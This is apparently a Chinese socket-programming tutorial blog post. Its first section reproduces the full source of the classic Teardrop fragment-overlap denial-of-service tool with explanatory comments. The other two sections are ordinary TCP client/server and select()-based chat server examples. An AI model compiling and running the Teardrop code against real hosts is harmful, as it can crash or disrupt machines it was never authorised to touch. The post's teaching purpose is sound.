一、原始套接字编程
在虚拟机下创建一个Teardrop.c,并输入以下代码
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <errno.h>
#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n) (n)
#else
/* OpenBSD 2.1, all Linux */
#define FIX(n) htons(n)
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */
#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
#define PADDING 0x1c /* datagram frame padding for first packet */
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
#define COUNT 0x1
/* Linux dies with 1, NT is more stalwart and can * withstand maybe 5 or 10 sometimes... Experiment. */
//错误处理函数
void usage(u_char *);
//获取主机信息
u_long name_resolve(u_char *);
//设置 IP 包的内容并发送
void send_frags(int ,u_long,u_long,u_short,u_short);
//主函数
int main(int argc,char **argv)
{
int one = 1, count = 0, i, rip_sock;
//定义无符号长整型源 IP 和目的 IP
u_long src_ip = 0, dst_ip = 0;
//定义无符号短整型源端口号和目的端口号
u_short src_prt = 0, dst_prt = 0;
/* 定一个结构体 in_addr(表示一个32位的IPv4地址)的一个对象 struct in_addr { union { struct { u_char s_b1,s_b2,s_b3,s_b4; } S_un_b; //An IPv4 address formatted as four u_chars. struct { u_short s_w1,s_w2; } S_un_w; //An IPv4 address formatted as two u_shorts u_long S_addr;//An IPv4 address formatted as a u_long } S_un; #define s_addr S_un.S_addr }; */
struct in_addr addr;
printf("teardrop route|daemon9\n\n");
/* 创建一个原始套接字 AF_INET——IPv4地址; SOCK_RAW——原始的套接字类型 IPPROTO_RAW——允许使用底层的套接字协议,就可以自己编写IP包 如果创建套接字成功,则会返回一个描述符(int型),失败则会返回 INVALID_SOCKET 每个电脑里面都会有一个描述符表,对应套接字 如果创建失败,将错误消息输出到屏幕 然后退出程序 */
if((rip_sock = socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) < 0)
{
fprintf(stderr,"raw socket");
exit(1);
}
/* 设置原始套接字选项 IP_HDRINCL 如果不设置这个选项,IP 协议会自动填充 IP 数据包的首部 这个情况是我们所不需要的,我们需要自己编写 IP 包 */
if(setsockopt(rip_sock,IPPROTO_IP,IP_HDRINCL,(char *)&one,sizeof(one)) < 0)
{
fprintf(stderr,"IP_HDRINCL");
exit(1);
}
/* 如果程序运行时送给main函数的命令行参数个数小于 3 个, 调用 usage 函数,传参为 argv[0]:指向程序运行的全路径名 */
if(argc < 3)
usage(argv[0]);
//调用 name_resolve 函数设置源 IP 和目的 IP
if(!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
{
fprintf(stderr,"What the hell kind of IP address is that?\n");
exit(1);
}
/* 调用 getopt 函数分析命令行参数,该函数的参数含义: ——命令行参数个数(argc) ——命令行参数内容(argv) ——参数格式(opstring):字母后有 : 表示该选项后面必须跟参数 getopt 函数处理不符合 optstring 指定的选项 并将选项后的参数保存在 optarg 中 然后返回选项的 ASCLL 码 atoi 函数是将参数(optarg)转化为十进制(会跳过前面的空白字符) 如果不能转化为十进制,则返回 0 ,值过大返回 -1 该循环语句是为了从命令行传端口值 */
while((i = getopt(argc, argv, "s:t:n:")) != EOF)
{
switch (i)
{
case 's'://源端口(重点)
src_prt = (u_short)atoi(optarg);
break;
case 't'://目的端口 (DNS,任何人?)
dst_prt = (u_short)atoi(optarg);
break;
case 'n'://设置发送包的个数
count = atoi(optarg);
break;
default:
usage(argv[0]);
break;
}
}
/* srandom 函数:设置种子值(以“当前时间 + 进程 ID”作为种子) 如果前面设置的源端口和目的端口是零,则随机赋值 */
srandom((unsigned)(utimes("0",(time_t)0)));
if(!src_prt)
src_prt = (random() % 0xffff);//设置随机源端口号
if(!dst_prt)
dst_prt = (random() % 0xffff);//设置随即目的端口号
if(!count)
count = COUNT;//设置默认为一个包
//inet_ntoa 函数:将一个IP转换成一个互联网标准点分格式的字符串
printf("Death on flaxen wings:\n");
addr.s_addr = src_ip;//给对象 addr 的成员变量赋值
printf("From:%15s.%5d\n",inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;//给对象 addr 的成员变量 赋值
printf("To:%15s.%5d\n",inet_ntoa(addr), dst_prt);
printf("Amt:%5d\n",count);
printf("[\n");
/* 循环调用 send_frags 函数 每一次循环完了后睡眠 0.5 s */
for (i = 0; i < count; i++)
{
send_frags(rip_sock,src_ip,dst_ip,src_prt,dst_prt);
usleep(500);
}
printf("]\n");
return (0);
}
//设置 IP 包的内容并发送
void send_frags(int sock,u_long src_ip,u_long dst_ip,u_short src_prt,u_short dst_prt)
{
u_char *packet = NULL, *p_ptr = NULL,*flag = NULL;//定义 IP 包指针
u_char byte;//无符号字符储存二进制
struct sockaddr_in sin;
/* sockaddr 套接字协议结构 用于存储参与(IP)Windows/linux套接字通信的计算机上的一个internet协议(IP)地址 struct sockaddr { unsigned short sa_family; //address family, AF_xxx char sa_data[14]; //14 bytes of protocol address }; */
sin.sin_family = AF_INET;//IPv4地址
sin.sin_port = src_prt;//源端口
sin.sin_addr.s_addr = dst_ip;//目的 IP
/* malloc 函数: 原型:extern void *malloc(unsigned int num_bytes); 功能:分配长度为num_bytes字节的内存块(这里分配了 56 个字节的内存块) 说明:分配成功则返回指向被分配内存的指针,否则返回空指针 NULL */
packet = (u_char *)malloc(IPH + UDPH + PADDING);
p_ptr = packet;//指向 IP 包内存地址
flag = packet;
/* bzero 函数: 原型:extern void bzero(void *s, int n); 功能:置字节字符串前n个字节为零且包括‘\0’,无返回值 这里是将 IP 包的 56 个字节全部至空 */
bzero((u_char *)p_ptr,IPH + UDPH + PADDING);
/* 设置 IP 包的Version(版本)和Hlen(长度) 大多数的 IP 包都是以 4500 开头的(十六进制) */
byte = 0x45;
/* memcpy 函数: 原型:void *memcpy(void *destin, void *source, unsigned n); 功能:从源内存地址的起始位置开始拷贝若干个字节到目标内存地址中 即从源source中拷贝n个字节到目标destin中 这里是指从 byte 的内容(0x45)拷贝到 IP 包中 */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2;// 此时默认 IP 包的 TOS(优先级)为 0
/* FIX 函数(htons 函数的别名) htons 函数:将一个无符号短整型的主机数值转换为网络字节顺序 即大尾顺序(big-endian) 这里是设置 Datagram Total Length(IP 包总长度) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);
p_ptr += 2;
//这是是设置 identifier(IP 包标识)
*((u_short *)p_ptr) = htons(242);//IP id
p_ptr += 2;
//这里设置 Flags(标志)
*((u_short *)p_ptr) |= FIX(IP_MF);
p_ptr += 2;
//设置 TTL (存活期)
*((u_short *)p_ptr) = 0x40;
//设置 Protocol(协议)
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
//IP 的校验码由实时操作系统设置
p_ptr += 4;
//设置 IP 包的 Source Address(源地址)
*((u_long *)p_ptr) = src_ip;
p_ptr += 4;
//设置 IP 包的 Destination Address(目的地址)
*((u_long *)p_ptr) = dst_ip;
p_ptr += 4;
//设置 UDP 的源端口
*((u_short *)p_ptr) = htons(src_prt);
p_ptr += 2;
//设置 UDP 的目的端口
*((u_short *)p_ptr) = htons(dst_prt);
p_ptr += 2;
//设置 UDP 的数据长度
*((u_short *)p_ptr) = htons(PADDING);
p_ptr += 4;
/* 设置要发送的数据:Fake News 根据 ASCLL 码表可转换成 46 61 6B 65 20 4E 65 77 73 */
*((u_short *)p_ptr) = 0x46;
p_ptr++;
*((u_short *)p_ptr) = 0x61;
p_ptr++;
*((u_short *)p_ptr) = 0x6B;
p_ptr++;
*((u_short *)p_ptr) = 0x65;
p_ptr++;
*((u_short *)p_ptr) = 0x20;
p_ptr++;
*((u_short *)p_ptr) = 0x4E;
p_ptr++;
*((u_short *)p_ptr) = 0x65;
p_ptr++;
*((u_short *)p_ptr) = 0x77;
p_ptr++;
*((u_short *)p_ptr) = 0x73;
/* sendto 函数:指向一指定目的地发送数据 将指定字节数的数据发送到指定的终结点 sendto()适用于发送未建立连接的UDP数据报(参数为SOCK_DGRAM) 返回值:为整型,如果成功,则返回发送的字节数,失败则返回SOCKET_ERROR 发送 IPv4 包,下面这个条件语句发送失败才会执行 */
int i=1;
while(i <= 56)
{
printf("%x\t",*flag);
flag++;
if(0 == i%8)
printf("\n");
i++;
}
if(sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1)
{
fprintf(stderr, "\nsendto");
free(packet);//释放 packet 指针
exit(1);
}
//IP total length is 2 bytes into the header
//IP 包总长度是2字节,放进头部
p_ptr = &packet[2];
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
//IP offset is 6 bytes into the header
p_ptr += 4;
*((u_short *)p_ptr) = FIX(MAGIC);
//发送 UDP 包,下面这个条件语句发送失败才会执行
if(sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1)
{
fprintf(stderr, "\nsendto");
free(packet);
exit(1);
}
free(packet);
}
//获取主机信息
u_long name_resolve(u_char *host_name)
{
struct in_addr addr;//32位 IPv4 地址
/* hostent 结构体:该结构记录主机的信息,包括主机名、别名、地址类型、地址长度和地址列表 struct hostent { char *h_name; char **h_aliases; int h_addrtype; int h_length; char **h_addr_list; }; #define h_addr h_addr_list[0] */
struct hostent *host_ent;
/* gethostbyname 函数:返回对应于给定主机名的包含主机名字和地址信息的hostent结构指针 bcopy 函数:将第一个参数(字符串)的前n(第三个参数)个字节复制到第二个参数中 */
if((addr.s_addr = inet_addr(host_name)) == -1)
{
if(!(host_ent = gethostbyname(host_name)))
return (0);
bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}
//错误处理函数
void usage(u_char *name)
{
fprintf(stderr, "%s src_ip dst_ip [ -s src_prit ] [ -t dst_prt ] [ -n how_many ]\n",name);
exit(0);
}
使用gcc Teardrop.c -o Teardrop编译为可执行文件。
之后运行可执行文件Teardrop
可能是接口没选对的原因,笔者使用wireshark并没能抓到这个包,希望看到的朋友能给出解决方案。
二、面向连接的流式套接字c/s
1.在Ubuntu中创建client1.c,并编译
代码如下:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#define PORT "9090" //the port client will be connecting to
#define MAXDATASIZE 100 //max number of bytes we can get at once
//get sockaddr, IPv4
void *get_in_addr(struct sockaddr *sa)
{
if(sa->sa_family == AF_INET)
{
return &(((struct sockaddr_in*)sa)->sin_addr);
}
return &(((struct sockaddr_in6*)sa)->sin6_addr);
}
int main(int argc, char *argv[])
{
int sockfd, numbytes;
char buf[MAXDATASIZE];
struct addrinfo hints, *servinfo, *p;
int rv;
char s[INET6_ADDRSTRLEN];
//如果命令行参数不等于 2 ,则执行下面的语句
if(argc != 2)
{
fprintf(stderr, "usage:client hostname\n"); //打印错误消息
exit(1); //退出
}
//将hints内存的内容置 0
memset(&hints, 0, sizeof hints);
//设置协议无关
hints.ai_family = AF_UNSPEC;
//设置套接为流
hints.ai_socktype = SOCK_STREAM;
if((rv = getaddrinfo(argv[1], PORT, &hints, &servinfo)) != 0)
{
fprintf(stderr, "getaddrinfo:%s\n",gai_strerror(rv));
return 1;
}
//遍历所有返回结果并链接到第一个成功连接的套接
for(p = servinfo; p != NULL; p = p->ai_next)
{
//创建一个套接字
if((sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1)
{
perror("client:socket");
continue;
}
//连接状态判断
if(connect(sockfd, p->ai_addr, p->ai_addrlen) == -1)
{
close(sockfd);
perror("client:connect");
continue;
}
//如果创建套接字成功且连接成功,则退出循环
break;
}
//如果套接口地址为空,则打印结果
if(p == NULL)
{
fprintf(stderr, "client:failed to connect\n");
return 2;
}
//inet_ntop 函数可以将 IP 地址在“点分十进制”和“整数”之间转换
inet_ntop(p->ai_family, get_in_addr((struct sockaddr*)p->ai_addr), s, sizeof s);
printf("client:connecting to %s\n",s);
//freeaddrinfo 函数释放 getaddriinfo 函数返回的存储空间
freeaddrinfo(servinfo);
//recv 函数用于判断缓冲区数据传输的状态,传输异常则打印消息比并退出
if((numbytes = recv(sockfd, buf, MAXDATASIZE-1, 0)) == -1)
{
perror("recv");
exit(1);
}
//将字符数组的最后一位置 \0 ,用于后面一次性输出
buf[numbytes] = '\0';
printf("client:received %s\n",buf);
close(sockfd);
return 0;
}
1.在树莓派中创建server1.c,并编译
代码如下:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <signal.h>
#define PORT "9090" //the port users will be connecting to
#define BACKLOG 10 //how many pending connections queue will hold
void sigchld_handler(int s)
{
//Waitpid temporarily stops the execution of the current process until a signal arrives or the child process terminates.
while(waitpid(-1, NULL, WNOHANG) > 0);
}
//get sockaddr, IPv4
void *get_in_addr(struct sockaddr *sa)
{
if(sa->sa_family == AF_INET)
{
return &(((struct sockaddr_in*)sa)->sin_addr);
}
return &(((struct sockaddr_in6*)sa)->sin6_addr);
}
int main(void)
{
int sockfd, new_fd; //listen on sock_fd,new connection on new_fd
struct addrinfo hints, *servinfo, *p;
struct sockaddr_storage their_addr; //connector's address information
socklen_t sin_size;
struct sigaction sa;
//Sigaction is a function that can be used to query or set up signal processing
int yes = 1;
char s[INET6_ADDRSTRLEN];
int rv;
//Set the Hints memory to zero
memset(&hints, 0, sizeof hints);
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
hints.ai_flags = AI_PASSIVE; //use my IP
if((rv = getaddrinfo(NULL, PORT, &hints, &servinfo)) != 0)
{
fprintf(stderr, "getaddrinfo:%s\n", gai_strerror(rv));
return 1;
}
//loop through all the results and bind to the first we can
for(p = servinfo; p != NULL; p = p->ai_next)
{
if((sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1)
{
perror("server:socket");
continue;
}
if(setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1)
{
perror("setsockopt");
exit(1);
}
if(bind(sockfd, p->ai_addr, p->ai_addrlen) == -1)
{
close(sockfd);
perror("server:bind");
continue;
}
break;
}
//If the pointer P is null, an error message is printed
if(p == NULL)
{
fprintf(stderr, "server:failed to bind\n");
return 2;
}
//all done with this structure
freeaddrinfo(servinfo);
/* Leave a socket in the state of listening for incoming connection requests If the listening fails, exit */
if(listen(sockfd, BACKLOG) == -1)
{
perror("listen");
exit(1);
}
sa.sa_handler = sigchld_handler; //reap all dead processes
sigemptyset(&sa.sa_mask);
sa.sa_flags = SA_RESTART;
if(sigaction(SIGCHLD, &sa, NULL) == -1)
{
perror("sigaction");
exit(1);
}
printf("server:waiting for connections...\n");
//main accept() loop
while(1)
{
sin_size = sizeof their_addr;
new_fd = accept(sockfd, (struct sockaddr*)&their_addr, &sin_size);
if(new_fd == -1)
{
perror("accept");
continue;
}
inet_ntop(their_addr.ss_family, get_in_addr((struct sockaddr*)&their_addr), s, sizeof s);
printf("server:got connection from %s\n",s);
if(!fork()) //this is the child process
{
close(sockfd); //child doesn't need the listener
if(send(new_fd, "Hello,world!", 13, 0) == -1)
perror("send");
close(new_fd);
exit(0);
}
close(new_fd); //parent doesn't need this
}
return 0;
}
先运行服务端,再运行客户端。客户端中运行时加上服务端的ip地址即可连接服务器。
三、非阻塞的多人聊天服务器IPv4
在Ubuntu分别创建client2.c文件,编译
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <pthread.h>
#define PORT "9090" //the port client will be connecting to
#define MAXDATASIZE 100 //max number of bytes we can get at once
int sockfd, numbytes;
char buf[MAXDATASIZE];
//get sockaddr, IPv4 or IPv6
void *get_in_addr(struct sockaddr *sa)
{
if(sa->sa_family == AF_INET)
{
return &(((struct sockaddr_in*)sa)->sin_addr);
}
return &(((struct sockaddr_in6*)sa)->sin6_addr);
}
void *recvMag()
{
while(1)
{
if((numbytes = recv(sockfd, buf, MAXDATASIZE-1, 0)) == -1)
{
perror("recv");
exit(1);
}
if(numbytes == 1)
continue;
buf[numbytes] = '\0';
printf("\nreceived:%s\n",buf);
}
}
int main(int argc, char *argv[])
{
struct addrinfo hints, *servinfo, *p;
int rv;
char s[INET6_ADDRSTRLEN];
pthread_t t1;
char mag[MAXDATASIZE];
if(argc != 2)
{
fprintf(stderr, "usage:client hostname\n");
exit(1);
}
memset(&hints, 0, sizeof hints);
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
if((rv = getaddrinfo(argv[1], PORT, &hints, &servinfo)) != 0)
{
fprintf(stderr, "getaddrinfo:%s\n",gai_strerror(rv));
return 1;
}
for(p = servinfo; p != NULL; p = p->ai_next)
{
if((sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1)
{
perror("client:socket");
continue;
}
if(connect(sockfd, p->ai_addr, p->ai_addrlen) == -1)
{
close(sockfd);
perror("client:connect");
continue;
}
break;
}
if(p == NULL)
{
fprintf(stderr, "client:failed to connect\n");
return 2;
}
inet_ntop(p->ai_family, get_in_addr((struct sockaddr*)p->ai_addr), s, sizeof s);
printf("client:connecting to %s\n",s);
freeaddrinfo(servinfo);
int err = pthread_create(&t1, NULL, recvMag, NULL);
if(err != 0)
{
printf("receive failed");
exit(1);
}
while(1)
{
scanf("%s", mag);
if(send(sockfd, mag, sizeof mag, 0) == -1)
{
printf("send failed!\n");
}
}
//close(sockfd);
return 0;
}
服务端:创建server2.c文件
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#define PORT "9090" //port we're listening on
//get sockaddr,IPv4 or IPv6:
//sockaddr 结构体:存储参与(IP)Windows/linux套接字通信的计算机上的一个internet协议(IP)地址
void *get_in_addr(struct sockaddr *sa)
{
if(sa->sa_family == AF_INET){
return &(((struct sockaddr_in*)sa)->sin_addr);
}
return &(((struct sockaddr_in6*)sa)->sin6_addr);
}
int main(void)
{
fd_set master; //主文件描述符列表
fd_set read_fds; //select() 的临时文件描述符列表
/* 当调用 select() 时,由内核根据 IO 状态修改 fd_set 的内容 由此来通知执行了 select() 的进程哪一 socket 或文件发生了可读或可写事件 */
int fdmax; //最大文件描述符
int listener; //监听套接字描述符
int newfd; //新接受的套接字描述符
//sockaddr_storage 结构体:存储套接字地址信息
struct sockaddr_storage remoteaddr; //客户端地址
socklen_t addrlen;//socklen_t 和 int 相同长度的一种类型
char buf[256]; //用于客户端数据的缓冲区
int nbytes;
int yes=1; //for setsockopt() SO_REUSEADDR,below
int i,j,rv;
char remoteIP[INET_ADDRSTRLEN];
struct addrinfo hints,*ai,*p; //地址信息结构体
FD_ZERO(&master); //清除主文件描述符列表
FD_ZERO(&read_fds); //清楚临时文件描述符列表
//给我们一个套接字并绑定它
memset(&hints, 0, sizeof hints); //地址信息置零
hints.ai_family = AF_UNSPEC; //AF_UNSPEC(协议无关)
hints.ai_socktype = SOCK_STREAM; //SOCK_STREAM(流)
hints.ai_flags = AI_PASSIVE; //AI_PASSIVE(被动的,用于 bind)
if((rv = getaddrinfo(NULL, PORT, &hints, &ai)) != 0)
{
fprintf(stderr, "selectserver:%s\n", gai_strerror(rv));
exit(1);
}
//遍历所有的结果
for(p = ai; p != NULL; p = p->ai_next)
{
//创建套接字并赋值给 listener 套接字描述符
listener = socket(p->ai_family, p->ai_socktype, p->ai_protocol);
if(listener < 0)
{
continue;
}
//setsockope 函数用于任意类型、任意状态套接字的设置选项
setsockopt(listener, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int));
/* bind 函数:用于未连接的数据报或流类套接口,把一本地址与一套接口捆绑 在 connect() 或 listen() 调用前使用 */
if(bind(listener, p->ai_addr, p->ai_addrlen) < 0)
{
close(listener);
continue;
}
break;
}
if(p == NULL)
{
fprintf(stderr, "selectserver:failed to bind\n");
exit(2);
}
//到了这里,意味着服务器的地址和端口绑定完成,可以释放 ai 的内存
freeaddrinfo(ai);
/* listen 函数:创建一个套接口并监听申请的连接. 参数一:用于标识一个已捆绑未连接套接口的描述符 参数二:等待连接队列的最大长度(这里是 10) */
if(listen(listener, 10) == -1)
{
perror("listen");
exit(3);
}
//将侦听器添加到主文件
FD_SET(listener, &master);
//跟踪最大的文件描述符
fdmax = listener; //到目前为止,是这个
//主循环
for(;;)
{
read_fds = master; //将主文件描述符表复制到临时文件描述符表
/* select 函数:确定一个或多个套接口的状态,如需要则等待。 原型:int select( int nfds, fd_set FAR* readfds, fd_set * writefds, fd_set * exceptfds, const struct timeval * timeout); nfds:是一个整数值,是指集合中所有文件描述符的范围,即所有文件描述符的最大值加1, 不能错!在Windows中这个参数的值无所谓,可以设置不正确。 readfds:(可选)指针,指向一组等待可读性检查的套接口。 writefds:(可选)指针,指向一组等待可写性检查的套接口。 exceptfds:(可选)指针,指向一组等待错误检查的套接口。 timeout:select()最多等待时间,对阻塞操作则为 NULL。 */
if(select(fdmax + 1, &read_fds, NULL, NULL, NULL) == -1)
{
perror("select");
exit(4);
}
//运行现有的连接,查找要读取的数据
for(i = 0; i <= fdmax; i++)
{
if(FD_ISSET(i, &read_fds)) //得到了一个连接
{
if(i == listener)//如果新连接为最大文件描述符
{
//处理新连接
addrlen = sizeof remoteaddr;
newfd = accept(listener, (struct sockaddr *)&remoteaddr, &addrlen);
if(newfd == -1)
{
perror("accept");
}
else
{
FD_SET(newfd, &master); //添加到主文件描述符列表
if(newfd > fdmax) //记录最大值
{
fdmax = newfd;
}
printf("selectserver:new connection from %s on socket %d\n", inet_ntop(remoteaddr.ss_family, get_in_addr((struct sockaddr*)&remoteaddr), remoteIP, INET_ADDRSTRLEN), newfd);
}
}
else
{
//处理来自客户端的数据
if((nbytes = recv(i, buf, sizeof buf, 0)) <= 0)
{
//出现错误或连接被客户端关闭
if(nbytes == 0)
{
//连接关闭了
printf("selectserver:socket %d hung up\n", i);
}
else
{
perror("recv");
}
close(i); //关闭
FD_CLR(i, &master); //从主文件描述符列表中删除
}
else
{
//我们从一个客户那里得到了一些数据
for(j =0; j <= fdmax; j++)
{
//发给大家!
if(FD_ISSET(j, &master))
{
//除了监听器和我们自己
if(j != listener && j != i)
{
if(send(j, buf, nbytes, 0) == -1)
{
perror("send");
}
}
}
}
}
}
}
}
}
return 0;
}
编译并运行,和前一个一样。
今天的文章Socket编程实例分享到此就结束了,感谢您的阅读,如果确实帮到您,您可以动动手指转发给其他人。
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
如需转载请保留出处:https://bianchenghao.cn/24370.html